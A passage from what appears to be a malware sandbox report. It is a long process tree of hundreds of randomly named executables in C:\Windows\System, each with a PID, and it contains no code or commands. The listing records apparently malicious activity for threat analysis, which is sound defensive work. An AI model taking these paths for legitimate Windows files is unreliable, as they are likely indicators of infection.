  2⤵
  PID:10080
- C:\Windows\System\qKuEkIZ.exe
  C:\Windows\System\qKuEkIZ.exe
  2⤵
  PID:8920
- C:\Windows\System\lxfswTA.exe
  C:\Windows\System\lxfswTA.exe
  2⤵
  PID:8784
- C:\Windows\System\QzMwDvD.exe
  C:\Windows\System\QzMwDvD.exe
  2⤵
  PID:8500
- C:\Windows\System\jSYihqv.exe
  C:\Windows\System\jSYihqv.exe
  2⤵
  PID:8368
- C:\Windows\System\aCCcFHV.exe
  C:\Windows\System\aCCcFHV.exe
  2⤵
  PID:10948
- C:\Windows\System\BOaDcEB.exe
  C:\Windows\System\BOaDcEB.exe
  2⤵
  PID:11116
- C:\Windows\System\qqkvOuG.exe
  C:\Windows\System\qqkvOuG.exe
  2⤵
  PID:12540
- C:\Windows\System\NxFxiWQ.exe
  C:\Windows\System\NxFxiWQ.exe
  2⤵
  PID:10704
- C:\Windows\System\pcKeUmd.exe
  C:\Windows\System\pcKeUmd.exe
  2⤵
  PID:10732
- C:\Windows\System\rCREcLg.exe
  C:\Windows\System\rCREcLg.exe
  2⤵
  PID:10768
- C:\Windows\System\MsSZTLF.exe
  C:\Windows\System\MsSZTLF.exe
  2⤵
  PID:10796
- C:\Windows\System\thInOhS.exe
  C:\Windows\System\thInOhS.exe
  2⤵
  PID:10860
- C:\Windows\System\cdEydkS.exe
  C:\Windows\System\cdEydkS.exe
  2⤵
  PID:11012
- C:\Windows\System\GvWxGTi.exe
  C:\Windows\System\GvWxGTi.exe
  2⤵
  PID:11172
- C:\Windows\System\watpKLg.exe
  C:\Windows\System\watpKLg.exe
  2⤵
  PID:11240
- C:\Windows\System\FioIqhX.exe
  C:\Windows\System\FioIqhX.exe
  2⤵
  PID:8064
- C:\Windows\System\NUdjlIk.exe
  C:\Windows\System\NUdjlIk.exe
  2⤵
  PID:8148
- C:\Windows\System\DtVyMSQ.exe
  C:\Windows\System\DtVyMSQ.exe
  2⤵
  PID:7084
- C:\Windows\System\tZHXVpf.exe
  C:\Windows\System\tZHXVpf.exe
  2⤵
  PID:6488
- C:\Windows\System\HCBnbwe.exe
  C:\Windows\System\HCBnbwe.exe
  2⤵
  PID:6908
- C:\Windows\System\KpshbtT.exe
  C:\Windows\System\KpshbtT.exe
  2⤵
  PID:11372
- C:\Windows\System\wxxuxza.exe
  C:\Windows\System\wxxuxza.exe
  2⤵
  PID:11488
- C:\Windows\System\JVRffAj.exe
  C:\Windows\System\JVRffAj.exe
  2⤵
  PID:11552
- C:\Windows\System\AMAVtZt.exe
  C:\Windows\System\AMAVtZt.exe
  2⤵
  PID:11620
- C:\Windows\System\HRrfSlY.exe
  C:\Windows\System\HRrfSlY.exe
  2⤵
  PID:11752
- C:\Windows\System\ohOsMtk.exe
  C:\Windows\System\ohOsMtk.exe
  2⤵
  PID:11896
- C:\Windows\System\UCaSgef.exe
  C:\Windows\System\UCaSgef.exe
  2⤵
  PID:12000
- C:\Windows\System\FKhGNWL.exe
  C:\Windows\System\FKhGNWL.exe
  2⤵
  PID:12092
- C:\Windows\System\IwLFGVA.exe
  C:\Windows\System\IwLFGVA.exe
  2⤵
  PID:12136
- C:\Windows\System\FmRJnqd.exe
  C:\Windows\System\FmRJnqd.exe
  2⤵
  PID:12196
- C:\Windows\System\VBQIiPy.exe
  C:\Windows\System\VBQIiPy.exe
  2⤵
  PID:12280
- C:\Windows\System\EhqCCpt.exe
  C:\Windows\System\EhqCCpt.exe
  2⤵
  PID:8520
- C:\Windows\System\qmLFkwN.exe
  C:\Windows\System\qmLFkwN.exe
  2⤵
  PID:5684
- C:\Windows\System\FGUclOj.exe
  C:\Windows\System\FGUclOj.exe
  2⤵
  PID:8320
- C:\Windows\System\LMAnHOb.exe
  C:\Windows\System\LMAnHOb.exe
  2⤵
  PID:12292
- C:\Windows\System\URfpspi.exe
  C:\Windows\System\URfpspi.exe
  2⤵
  PID:12332
- C:\Windows\System\fKqXxZK.exe
  C:\Windows\System\fKqXxZK.exe
  2⤵
  PID:12384
- C:\Windows\System\AxLvWdu.exe
  C:\Windows\System\AxLvWdu.exe
  2⤵
  PID:13164
- C:\Windows\System\XXxfTlj.exe
  C:\Windows\System\XXxfTlj.exe
  2⤵
  PID:10896
- C:\Windows\System\KOrchZM.exe
  C:\Windows\System\KOrchZM.exe
  2⤵
  PID:11204
- C:\Windows\System\uXsyrgv.exe
  C:\Windows\System\uXsyrgv.exe
  2⤵
  PID:8760
- C:\Windows\System\ONSXvqy.exe
  C:\Windows\System\ONSXvqy.exe
  2⤵
  PID:11292
- C:\Windows\System\OXZJozK.exe
  C:\Windows\System\OXZJozK.exe
  2⤵
  PID:10124
- C:\Windows\System\xefxCtZ.exe
  C:\Windows\System\xefxCtZ.exe
  2⤵
  PID:8220
- C:\Windows\System\TMAxDzp.exe
  C:\Windows\System\TMAxDzp.exe
  2⤵
  PID:11268
- C:\Windows\System\OvVxfQs.exe
  C:\Windows\System\OvVxfQs.exe
  2⤵
  PID:11872
- C:\Windows\System\mOXVTOV.exe
  C:\Windows\System\mOXVTOV.exe
  2⤵
  PID:12048
- C:\Windows\System\zlsNPMa.exe
  C:\Windows\System\zlsNPMa.exe
  2⤵
  PID:7952
- C:\Windows\System\HHmIMCK.exe
  C:\Windows\System\HHmIMCK.exe
  2⤵
  PID:9236
- C:\Windows\System\CthTpkc.exe
  C:\Windows\System\CthTpkc.exe
  2⤵
  PID:5800
- C:\Windows\System\plQLZor.exe
  C:\Windows\System\plQLZor.exe
  2⤵
  PID:12632
- C:\Windows\System\FhevRqZ.exe
  C:\Windows\System\FhevRqZ.exe
  2⤵
  PID:12764
- C:\Windows\System\QkBQXTq.exe
  C:\Windows\System\QkBQXTq.exe
  2⤵
  PID:11676
- C:\Windows\System\ioNWDAH.exe
  C:\Windows\System\ioNWDAH.exe
  2⤵
  PID:2508
- C:\Windows\System\LhMoFQV.exe
  C:\Windows\System\LhMoFQV.exe
  2⤵
  PID:8960
- C:\Windows\System\HtKtruS.exe
  C:\Windows\System\HtKtruS.exe
  2⤵
  PID:7660
- C:\Windows\System\tfDdeso.exe
  C:\Windows\System\tfDdeso.exe
  2⤵
  PID:10760
- C:\Windows\System\EruVtMc.exe
  C:\Windows\System\EruVtMc.exe
  2⤵
  PID:10856
- C:\Windows\System\VQfPbKF.exe
  C:\Windows\System\VQfPbKF.exe
  2⤵
  PID:11184
- C:\Windows\System\lDGBUZm.exe
  C:\Windows\System\lDGBUZm.exe
  2⤵
  PID:9232
- C:\Windows\System\tfwhojr.exe
  C:\Windows\System\tfwhojr.exe
  2⤵
  PID:9496
- C:\Windows\System\UbIdScJ.exe
  C:\Windows\System\UbIdScJ.exe
  2⤵
  PID:12364
- C:\Windows\System\iIHmQze.exe
  C:\Windows\System\iIHmQze.exe
  2⤵
  PID:11028
- C:\Windows\System\SCowJrQ.exe
  C:\Windows\System\SCowJrQ.exe
  2⤵
  PID:8084
- C:\Windows\System\AOaDkby.exe
  C:\Windows\System\AOaDkby.exe
  2⤵
  PID:12660
- C:\Windows\System\DGMDaDC.exe
  C:\Windows\System\DGMDaDC.exe
  2⤵
  PID:6412
- C:\Windows\System\PsXqPdY.exe
  C:\Windows\System\PsXqPdY.exe
  2⤵
  PID:9056
- C:\Windows\System\yUgZWrC.exe
  C:\Windows\System\yUgZWrC.exe
  2⤵
  PID:8452
- C:\Windows\System\DvduNuH.exe
  C:\Windows\System\DvduNuH.exe
  2⤵
  PID:1060
- C:\Windows\System\cYyOPre.exe
  C:\Windows\System\cYyOPre.exe
  2⤵
  PID:3200
- C:\Windows\System\UxQwyRP.exe
  C:\Windows\System\UxQwyRP.exe
  2⤵
  PID:3520
- C:\Windows\System\oxZfHPo.exe
  C:\Windows\System\oxZfHPo.exe
  2⤵
  PID:10492
- C:\Windows\System\cvxtBCA.exe
  C:\Windows\System\cvxtBCA.exe
  2⤵
  PID:6260
- C:\Windows\System\aXfVrPK.exe
  C:\Windows\System\aXfVrPK.exe
  2⤵
  PID:9692
- C:\Windows\System\OFOjPiC.exe
  C:\Windows\System\OFOjPiC.exe
  2⤵
  PID:10248
- C:\Windows\System\jRdwOnI.exe
  C:\Windows\System\jRdwOnI.exe
  2⤵
  PID:12704
- C:\Windows\System\qKAgeZg.exe
  C:\Windows\System\qKAgeZg.exe
  2⤵
  PID:4232
- C:\Windows\System\fMqhWXp.exe
  C:\Windows\System\fMqhWXp.exe
  2⤵
  PID:4004
- C:\Windows\System\soaPOJN.exe
  C:\Windows\System\soaPOJN.exe
  2⤵
  PID:8016
- C:\Windows\System\lOoxBKA.exe
  C:\Windows\System\lOoxBKA.exe
  2⤵
  PID:11576
- C:\Windows\System\QCodNZo.exe
  C:\Windows\System\QCodNZo.exe
  2⤵
  PID:11468
- C:\Windows\System\rLPAegG.exe
  C:\Windows\System\rLPAegG.exe
  2⤵
  PID:11928
- C:\Windows\System\VJqLmEV.exe
  C:\Windows\System\VJqLmEV.exe
  2⤵
  PID:12108
- C:\Windows\System\bUdCOyV.exe
  C:\Windows\System\bUdCOyV.exe
  2⤵
  PID:12180
- C:\Windows\System\iPFRSaa.exe
  C:\Windows\System\iPFRSaa.exe
  2⤵
  PID:10720
- C:\Windows\System\jbBtsul.exe
  C:\Windows\System\jbBtsul.exe
  2⤵
  PID:10988
- C:\Windows\System\vzFvDzV.exe
  C:\Windows\System\vzFvDzV.exe
  2⤵
  PID:9352
- C:\Windows\System\HrFfHYz.exe
  C:\Windows\System\HrFfHYz.exe
  2⤵
  PID:13260
- C:\Windows\System\cfOZxpz.exe
  C:\Windows\System\cfOZxpz.exe
  2⤵
  PID:6536
- C:\Windows\System\UwlvBJQ.exe
  C:\Windows\System\UwlvBJQ.exe
  2⤵
  PID:7240
- C:\Windows\System\ZRuEqsk.exe
  C:\Windows\System\ZRuEqsk.exe
  2⤵
  PID:6948
- C:\Windows\System\VKgjsGF.exe
  C:\Windows\System\VKgjsGF.exe
  2⤵
  PID:6284
- C:\Windows\System\hAZzElV.exe
  C:\Windows\System\hAZzElV.exe
  2⤵
  PID:5396
- C:\Windows\System\DpGRHnq.exe
  C:\Windows\System\DpGRHnq.exe
  2⤵
  PID:4620
- C:\Windows\System\bgRWGWQ.exe
  C:\Windows\System\bgRWGWQ.exe
  2⤵
  PID:12184
- C:\Windows\System\zPLJCVy.exe
  C:\Windows\System\zPLJCVy.exe
  2⤵
  PID:13224
- C:\Windows\System\VEGZnMb.exe
  C:\Windows\System\VEGZnMb.exe
  2⤵
  PID:1396
- C:\Windows\System\gMSoBZx.exe
  C:\Windows\System\gMSoBZx.exe
  2⤵
  PID:8332
- C:\Windows\System\PUomINY.exe
  C:\Windows\System\PUomINY.exe
  2⤵
  PID:3428
- C:\Windows\System\GQNmeek.exe
  C:\Windows\System\GQNmeek.exe
  2⤵
  PID:2588
- C:\Windows\System\TzXaXxR.exe
  C:\Windows\System\TzXaXxR.exe
  2⤵
  PID:924
- C:\Windows\System\HTZQRaZ.exe
  C:\Windows\System\HTZQRaZ.exe
  2⤵
  PID:3068
- C:\Windows\System\LNKMEMd.exe
  C:\Windows\System\LNKMEMd.exe
  2⤵
  PID:1104
- C:\Windows\System\wNuEeiN.exe
  C:\Windows\System\wNuEeiN.exe
  2⤵
  PID:3688
- C:\Windows\System\LHhxboM.exe
  C:\Windows\System\LHhxboM.exe
  2⤵
  PID:1360
- C:\Windows\System\JKTcUvX.exe
  C:\Windows\System\JKTcUvX.exe
  2⤵
  PID:2948
- C:\Windows\System\dNczkEH.exe
  C:\Windows\System\dNczkEH.exe
  2⤵
  PID:11376
- C:\Windows\System\dasVSYE.exe
  C:\Windows\System\dasVSYE.exe
  2⤵
  PID:10596
- C:\Windows\System\qksNAvB.exe
  C:\Windows\System\qksNAvB.exe
  2⤵
  PID:11444
- C:\Windows\System\ZFHBNPZ.exe
  C:\Windows\System\ZFHBNPZ.exe
  2⤵
  PID:9008
- C:\Windows\System\NVgdMIT.exe
  C:\Windows\System\NVgdMIT.exe
  2⤵
  PID:12828
- C:\Windows\System\xbvrwjP.exe
  C:\Windows\System\xbvrwjP.exe
  2⤵
  PID:11428
- C:\Windows\System\pQvyTJq.exe
  C:\Windows\System\pQvyTJq.exe
  2⤵
  PID:10064
- C:\Windows\System\KwyIXfW.exe
  C:\Windows\System\KwyIXfW.exe
  2⤵
  PID:3040
- C:\Windows\System\BGKEQbc.exe
  C:\Windows\System\BGKEQbc.exe
  2⤵
  PID:2620
- C:\Windows\System\ipLoHWm.exe
  C:\Windows\System\ipLoHWm.exe
  2⤵
  PID:3324
- C:\Windows\System\nNhvUZr.exe
  C:\Windows\System\nNhvUZr.exe
  2⤵
  PID:11616
- C:\Windows\System\soJswBr.exe
  C:\Windows\System\soJswBr.exe
  2⤵
  PID:5352
- C:\Windows\System\qwIrYmI.exe
  C:\Windows\System\qwIrYmI.exe
  2⤵
  PID:7596
- C:\Windows\System\FEOSLvM.exe
  C:\Windows\System\FEOSLvM.exe
  2⤵
  PID:10176
- C:\Windows\System\lULcEyR.exe
  C:\Windows\System\lULcEyR.exe
  2⤵
  PID:12112
- C:\Windows\System\IWBhDud.exe
  C:\Windows\System\IWBhDud.exe
  2⤵
  PID:4972
- C:\Windows\System\rWsupIr.exe
  C:\Windows\System\rWsupIr.exe
  2⤵
  PID:2968
- C:\Windows\System\fFNJOro.exe
  C:\Windows\System\fFNJOro.exe
  2⤵
  PID:4876
- C:\Windows\System\iTDRyeV.exe
  C:\Windows\System\iTDRyeV.exe
  2⤵
  PID:4724
- C:\Windows\System\ovpxEil.exe
  C:\Windows\System\ovpxEil.exe
  2⤵
  PID:5028
- C:\Windows\System\woJOiTN.exe
  C:\Windows\System\woJOiTN.exe
  2⤵
  PID:12912
- C:\Windows\System\hzJrVbF.exe
  C:\Windows\System\hzJrVbF.exe
  2⤵
  PID:8692
- C:\Windows\System\QEsmCYC.exe
  C:\Windows\System\QEsmCYC.exe
  2⤵
  PID:3280
- C:\Windows\System\LICRSpI.exe
  C:\Windows\System\LICRSpI.exe
  2⤵
  PID:1464
- C:\Windows\System\XUljqSV.exe
  C:\Windows\System\XUljqSV.exe
  2⤵
  PID:10152
- C:\Windows\System\CuWgEiS.exe
  C:\Windows\System\CuWgEiS.exe
  2⤵
  PID:3600
- C:\Windows\System\RgRcFVe.exe
  C:\Windows\System\RgRcFVe.exe
  2⤵
  PID:9996
- C:\Windows\System\GvAebrz.exe
  C:\Windows\System\GvAebrz.exe
  2⤵
  PID:9772
- C:\Windows\System\YLvATOP.exe
  C:\Windows\System\YLvATOP.exe
  2⤵
  PID:13068
- C:\Windows\System\wnWdvvu.exe
  C:\Windows\System\wnWdvvu.exe
  2⤵
  PID:10744
- C:\Windows\System\rVEoBpy.exe
  C:\Windows\System\rVEoBpy.exe
  2⤵
  PID:1008
- C:\Windows\System\MjODkqa.exe
  C:\Windows\System\MjODkqa.exe
  2⤵
  PID:2960
- C:\Windows\System\MtFEUmO.exe
  C:\Windows\System\MtFEUmO.exe
  2⤵
  PID:4856
- C:\Windows\System\uJfPzYS.exe
  C:\Windows\System\uJfPzYS.exe
  2⤵
  PID:10640
- C:\Windows\System\mVGFDTn.exe
  C:\Windows\System\mVGFDTn.exe
  2⤵
  PID:3272
- C:\Windows\System\hIpyByA.exe
  C:\Windows\System\hIpyByA.exe
  2⤵
  PID:13200
- C:\Windows\System\MXhxdFT.exe
  C:\Windows\System\MXhxdFT.exe
  2⤵
  PID:10716
- C:\Windows\System\nZjTPWy.exe
  C:\Windows\System\nZjTPWy.exe
  2⤵
  PID:11472
- C:\Windows\System\umjvbWv.exe
  C:\Windows\System\umjvbWv.exe
  2⤵
  PID:10104
- C:\Windows\System\LoktciF.exe
  C:\Windows\System\LoktciF.exe
  2⤵
  PID:10568
- C:\Windows\System\xYiFolH.exe
  C:\Windows\System\xYiFolH.exe
  2⤵
  PID:4024
- C:\Windows\System\ZMvdYNM.exe
  C:\Windows\System\ZMvdYNM.exe
  2⤵
  PID:932
- C:\Windows\System\vuHyssx.exe
  C:\Windows\System\vuHyssx.exe
  2⤵
  PID:4832
- C:\Windows\System\vRzdlwA.exe
  C:\Windows\System\vRzdlwA.exe
  2⤵
  PID:11380
- C:\Windows\System\sSKuHPL.exe
  C:\Windows\System\sSKuHPL.exe
  2⤵
  PID:4816
- C:\Windows\System\dynrcGo.exe
  C:\Windows\System\dynrcGo.exe
  2⤵
  PID:6248
- C:\Windows\System\KBJZaBD.exe
  C:\Windows\System\KBJZaBD.exe
  2⤵
  PID:3544
- C:\Windows\System\fNViGoi.exe
  C:\Windows\System\fNViGoi.exe
  2⤵
  PID:13344
- C:\Windows\System\uwCNdah.exe
  C:\Windows\System\uwCNdah.exe
  2⤵
  PID:13360
- C:\Windows\System\FgpgHdw.exe
  C:\Windows\System\FgpgHdw.exe
  2⤵
  PID:13384
- C:\Windows\System\VqpRYjE.exe
  C:\Windows\System\VqpRYjE.exe
  2⤵
  PID:13424
- C:\Windows\System\YZCjEqo.exe
  C:\Windows\System\YZCjEqo.exe
  2⤵
  PID:13440
- C:\Windows\System\joSmvMu.exe
  C:\Windows\System\joSmvMu.exe
  2⤵
  PID:13464
- C:\Windows\System\SyJUMtq.exe
  C:\Windows\System\SyJUMtq.exe
  2⤵
  PID:13496
- C:\Windows\System\nROxDai.exe
  C:\Windows\System\nROxDai.exe
  2⤵
  PID:13512
- C:\Windows\System\uWkAIMj.exe
  C:\Windows\System\uWkAIMj.exe
  2⤵
  PID:13536
- C:\Windows\System\dUJWrzB.exe
  C:\Windows\System\dUJWrzB.exe
  2⤵
  PID:13564
- C:\Windows\System\MJRvfTn.exe
  C:\Windows\System\MJRvfTn.exe
  2⤵
  PID:13592
- C:\Windows\System\JrIUsHn.exe
  C:\Windows\System\JrIUsHn.exe
  2⤵
  PID:13616
- C:\Windows\System\eOdqJiO.exe
  C:\Windows\System\eOdqJiO.exe
  2⤵
  PID:13660
- C:\Windows\System\zxggNEu.exe
  C:\Windows\System\zxggNEu.exe
  2⤵
  PID:13676
- C:\Windows\System\joixmjg.exe
  C:\Windows\System\joixmjg.exe
  2⤵
  PID:13700
- C:\Windows\System\VyXQjia.exe
  C:\Windows\System\VyXQjia.exe
  2⤵
  PID:13720
- C:\Windows\System\XswbrcW.exe
  C:\Windows\System\XswbrcW.exe
  2⤵
  PID:13736
- C:\Windows\System\AwENqPe.exe
  C:\Windows\System\AwENqPe.exe
  2⤵
  PID:13752
- C:\Windows\System\QsacHTu.exe
  C:\Windows\System\QsacHTu.exe
  2⤵
  PID:13768
- C:\Windows\System\ZXxRlSo.exe
  C:\Windows\System\ZXxRlSo.exe
  2⤵
  PID:13784
- C:\Windows\System\fuiCyYR.exe
  C:\Windows\System\fuiCyYR.exe
  2⤵
  PID:13804
- C:\Windows\System\bDdgWdA.exe
  C:\Windows\System\bDdgWdA.exe
  2⤵
  PID:13820
- C:\Windows\System\MtPyESP.exe
  C:\Windows\System\MtPyESP.exe
  2⤵
  PID:13840
- C:\Windows\System\FoUuIKI.exe
  C:\Windows\System\FoUuIKI.exe
  2⤵
  PID:13868
- C:\Windows\System\pZaYJZK.exe
  C:\Windows\System\pZaYJZK.exe
  2⤵
  PID:13884
- C:\Windows\System\DNBZeFj.exe
  C:\Windows\System\DNBZeFj.exe
  2⤵
  PID:13904
- C:\Windows\System\hNvxQdb.exe
  C:\Windows\System\hNvxQdb.exe
  2⤵
  PID:13928
- C:\Windows\System\wDsJLSB.exe
  C:\Windows\System\wDsJLSB.exe
  2⤵
  PID:13944
- C:\Windows\System\tpZyYct.exe
  C:\Windows\System\tpZyYct.exe
  2⤵
  PID:13964
- C:\Windows\System\axOSskm.exe
  C:\Windows\System\axOSskm.exe
  2⤵
  PID:13980
- C:\Windows\System\OwjCwKa.exe
  C:\Windows\System\OwjCwKa.exe
  2⤵
  PID:13996
- C:\Windows\System\uLGkOUL.exe
  C:\Windows\System\uLGkOUL.exe
  2⤵
  PID:14012
- C:\Windows\System\ssdiyke.exe
  C:\Windows\System\ssdiyke.exe
  2⤵
  PID:14032
- C:\Windows\System\sjdDJit.exe
  C:\Windows\System\sjdDJit.exe
  2⤵
  PID:14048
- C:\Windows\System\yALqKoo.exe
  C:\Windows\System\yALqKoo.exe
  2⤵
  PID:14064
- C:\Windows\System\pBzlGhR.exe
  C:\Windows\System\pBzlGhR.exe
  2⤵
  PID:14080
- C:\Windows\System\QwRzmcs.exe
  C:\Windows\System\QwRzmcs.exe
  2⤵
  PID:14096
- C:\Windows\System\VbMPuhn.exe
  C:\Windows\System\VbMPuhn.exe
  2⤵
  PID:14112
- C:\Windows\System\hUQzdbb.exe
  C:\Windows\System\hUQzdbb.exe
  2⤵
  PID:14128
- C:\Windows\System\vobnMeo.exe
  C:\Windows\System\vobnMeo.exe
  2⤵
  PID:14144
- C:\Windows\System\UiXbRhq.exe
  C:\Windows\System\UiXbRhq.exe
  2⤵
  PID:14160
- C:\Windows\System\ckxnQNz.exe
  C:\Windows\System\ckxnQNz.exe
  2⤵
  PID:14180
- C:\Windows\System\pfJHXfM.exe
  C:\Windows\System\pfJHXfM.exe
  2⤵
  PID:14200
- C:\Windows\System\MLAXAna.exe
  C:\Windows\System\MLAXAna.exe
  2⤵
  PID:14216
- C:\Windows\System\jhKJdjG.exe
  C:\Windows\System\jhKJdjG.exe
  2⤵
  PID:14232
- C:\Windows\System\zQFMQkl.exe
  C:\Windows\System\zQFMQkl.exe
  2⤵
  PID:14248
- C:\Windows\System\JqxRTCl.exe
  C:\Windows\System\JqxRTCl.exe
  2⤵
  PID:14264
- C:\Windows\System\VWHTWil.exe
  C:\Windows\System\VWHTWil.exe
  2⤵
  PID:14308
- C:\Windows\System\rIwbQXO.exe
  C:\Windows\System\rIwbQXO.exe
  2⤵
  PID:4452
- C:\Windows\System\LaGjokn.exe
  C:\Windows\System\LaGjokn.exe
  2⤵
  PID:13432
- C:\Windows\System\IkGFUdN.exe
  C:\Windows\System\IkGFUdN.exe
  2⤵
  PID:4676
- C:\Windows\System\rjSoAUp.exe
  C:\Windows\System\rjSoAUp.exe
  2⤵
  PID:13456
- C:\Windows\System\mvYviNl.exe
  C:\Windows\System\mvYviNl.exe
  2⤵
  PID:13492
- C:\Windows\System\iRYzuDv.exe
  C:\Windows\System\iRYzuDv.exe
  2⤵
  PID:1920
- C:\Windows\System\aRHzBYL.exe
  C:\Windows\System\aRHzBYL.exe
  2⤵
  PID:13556
- C:\Windows\System\vRGpuzA.exe
  C:\Windows\System\vRGpuzA.exe
  2⤵
  PID:13588
- C:\Windows\System\IVckmGw.exe
  C:\Windows\System\IVckmGw.exe
  2⤵
  PID:13612
- C:\Windows\System\ebZpVoK.exe
  C:\Windows\System\ebZpVoK.exe
  2⤵
  PID:6968
- C:\Windows\System\CruHnsM.exe
  C:\Windows\System\CruHnsM.exe
  2⤵
  PID:13696
- C:\Windows\System\WmrgxAx.exe
  C:\Windows\System\WmrgxAx.exe
  2⤵
  PID:13732
- C:\Windows\System\SqBQvoq.exe
  C:\Windows\System\SqBQvoq.exe
  2⤵
  PID:13744
- C:\Windows\System\sNPcvDC.exe
  C:\Windows\System\sNPcvDC.exe
  2⤵
  PID:13764
- C:\Windows\System\YyOyIze.exe
  C:\Windows\System\YyOyIze.exe
  2⤵
  PID:13812
- C:\Windows\System\eVlIQhe.exe
  C:\Windows\System\eVlIQhe.exe
  2⤵
  PID:13860
- C:\Windows\System\jdecKeB.exe
  C:\Windows\System\jdecKeB.exe
  2⤵
  PID:13976
- C:\Windows\System\lHlnaUF.exe
  C:\Windows\System\lHlnaUF.exe
  2⤵
  PID:14008
- C:\Windows\System\oRLhEQh.exe
  C:\Windows\System\oRLhEQh.exe
  2⤵
  PID:14044
- C:\Windows\System\eYcYkwT.exe
  C:\Windows\System\eYcYkwT.exe
  2⤵
  PID:14076
- C:\Windows\System\EoGRqeV.exe
  C:\Windows\System\EoGRqeV.exe
  2⤵
  PID:14120
- C:\Windows\System\FvnZiur.exe
  C:\Windows\System\FvnZiur.exe
  2⤵
  PID:14152
- C:\Windows\System\bCKlNwp.exe
  C:\Windows\System\bCKlNwp.exe
  2⤵
  PID:14176
- C:\Windows\System\YpXVJAg.exe
  C:\Windows\System\YpXVJAg.exe
  2⤵
  PID:14208
- C:\Windows\System\mlsibhx.exe
  C:\Windows\System\mlsibhx.exe
  2⤵
  PID:14240
- C:\Windows\System\IcIVdEL.exe
  C:\Windows\System\IcIVdEL.exe
  2⤵
  PID:6020
- C:\Windows\System\QEBYcPM.exe
  C:\Windows\System\QEBYcPM.exe
  2⤵
  PID:4136
- C:\Windows\System\kvkwxUU.exe
  C:\Windows\System\kvkwxUU.exe
  2⤵
  PID:14284
- C:\Windows\System\pLxTlaM.exe
  C:\Windows\System\pLxTlaM.exe
  2⤵
  PID:14280
- C:\Windows\System\SbGEPER.exe
  C:\Windows\System\SbGEPER.exe
  2⤵
  PID:14300
- C:\Windows\System\uPJMlcK.exe
  C:\Windows\System\uPJMlcK.exe
  2⤵
  PID:14304
- C:\Windows\System\vYSisJv.exe
  C:\Windows\System\vYSisJv.exe
  2⤵
  PID:13652
- C:\Windows\System\bXbrYlY.exe
  C:\Windows\System\bXbrYlY.exe
  2⤵
  PID:13352
- C:\Windows\System\ToSpABg.exe
  C:\Windows\System\ToSpABg.exe
  2⤵
  PID:7940
- C:\Windows\System\WgNpZnP.exe
  C:\Windows\System\WgNpZnP.exe
  2⤵
  PID:7936
- C:\Windows\System\pecqNwy.exe
  C:\Windows\System\pecqNwy.exe
  2⤵
  PID:7924
- C:\Windows\System\zapTzmL.exe
  C:\Windows\System\zapTzmL.exe
  2⤵
  PID:2476
- C:\Windows\System\jAeItbL.exe
  C:\Windows\System\jAeItbL.exe
  2⤵
  PID:3664
- C:\Windows\System\IqBeuDa.exe
  C:\Windows\System\IqBeuDa.exe
  2⤵
  PID:13552
- C:\Windows\System\suBlhgY.exe
  C:\Windows\System\suBlhgY.exe
  2⤵
  PID:14328
- C:\Windows\System\JixOPLd.exe
  C:\Windows\System\JixOPLd.exe
  2⤵
  PID:14072
- C:\Windows\System\vkWozqq.exe
  C:\Windows\System\vkWozqq.exe
  2⤵
  PID:14192
- C:\Windows\System\kTndKRz.exe
  C:\Windows\System\kTndKRz.exe
  2⤵
  PID:13924
- C:\Windows\System\LhZURVq.exe
  C:\Windows\System\LhZURVq.exe
  2⤵
  PID:13972
- C:\Windows\System\GderYgm.exe
  C:\Windows\System\GderYgm.exe
  2⤵
  PID:14004
- C:\Windows\System\iBjJRjH.exe
  C:\Windows\System\iBjJRjH.exe
  2⤵
  PID:3604
- C:\Windows\System\wwxrcMw.exe
  C:\Windows\System\wwxrcMw.exe
  2⤵
  PID:13920
- C:\Windows\System\qRiPMff.exe
  C:\Windows\System\qRiPMff.exe
  2⤵
  PID:14256
- C:\Windows\System\NjAEvVC.exe
  C:\Windows\System\NjAEvVC.exe
  2⤵
  PID:5360
- C:\Windows\System\XtxmYPQ.exe
  C:\Windows\System\XtxmYPQ.exe
  2⤵
  PID:7376
- C:\Windows\System\ZiUvMKr.exe
  C:\Windows\System\ZiUvMKr.exe
  2⤵
  PID:13692
- C:\Windows\System\tTkTRbI.exe
  C:\Windows\System\tTkTRbI.exe
  2⤵
  PID:13528
- C:\Windows\System\nABNgpG.exe
  C:\Windows\System\nABNgpG.exe
  2⤵
  PID:13936
- C:\Windows\System\tFDkjkW.exe
  C:\Windows\System\tFDkjkW.exe
  2⤵
  PID:14332
- C:\Windows\System\auKwTBc.exe
  C:\Windows\System\auKwTBc.exe
  2⤵
  PID:14224
- C:\Windows\System\qQGhUNl.exe
  C:\Windows\System\qQGhUNl.exe
  2⤵
  PID:13940
- C:\Windows\System\LJywrkI.exe
  C:\Windows\System\LJywrkI.exe
  2⤵
  PID:1516
- C:\Windows\System\ypvUeTF.exe
  C:\Windows\System\ypvUeTF.exe
  2⤵
  PID:5108
- C:\Windows\System\vyzlPMc.exe
  C:\Windows\System\vyzlPMc.exe
  2⤵
  PID:13508
- C:\Windows\System\sxQIaDm.exe
  C:\Windows\System\sxQIaDm.exe
  2⤵
  PID:13372
- C:\Windows\System\sOUEAkn.exe
  C:\Windows\System\sOUEAkn.exe
  2⤵
  PID:1660
- C:\Windows\System\aQPLjDZ.exe
  C:\Windows\System\aQPLjDZ.exe
  2⤵
  PID:4608
- C:\Windows\System\XJSzZEs.exe
  C:\Windows\System\XJSzZEs.exe
  2⤵
  PID:14196
- C:\Windows\System\GFpVcnr.exe
  C:\Windows\System\GFpVcnr.exe
  2⤵
  PID:13340
- C:\Windows\System\PRggPOv.exe
  C:\Windows\System\PRggPOv.exe
  2⤵
  PID:2164
- C:\Windows\System\MAZwrWr.exe
  C:\Windows\System\MAZwrWr.exe
  2⤵
  PID:4316
- C:\Windows\System\xGUCHXT.exe
  C:\Windows\System\xGUCHXT.exe
  2⤵
  PID:4312
- C:\Windows\System\SnIwcPw.exe
  C:\Windows\System\SnIwcPw.exe
  2⤵
  PID:14356
- C:\Windows\System\mNHnkJk.exe
  C:\Windows\System\mNHnkJk.exe
  2⤵
  PID:14376
- C:\Windows\System\MRPYHNl.exe
  C:\Windows\System\MRPYHNl.exe
  2⤵
  PID:14396
- C:\Windows\System\XhKQFgJ.exe
  C:\Windows\System\XhKQFgJ.exe
  2⤵
  PID:14412
- C:\Windows\System\PfpyChb.exe
  C:\Windows\System\PfpyChb.exe
  2⤵
  PID:14428
- C:\Windows\System\vfNxLsE.exe
  C:\Windows\System\vfNxLsE.exe
  2⤵
  PID:14444
- C:\Windows\System\snFWeqx.exe
  C:\Windows\System\snFWeqx.exe
  2⤵
  PID:14460
- C:\Windows\System\OZkigpn.exe
  C:\Windows\System\OZkigpn.exe
  2⤵
  PID:14476
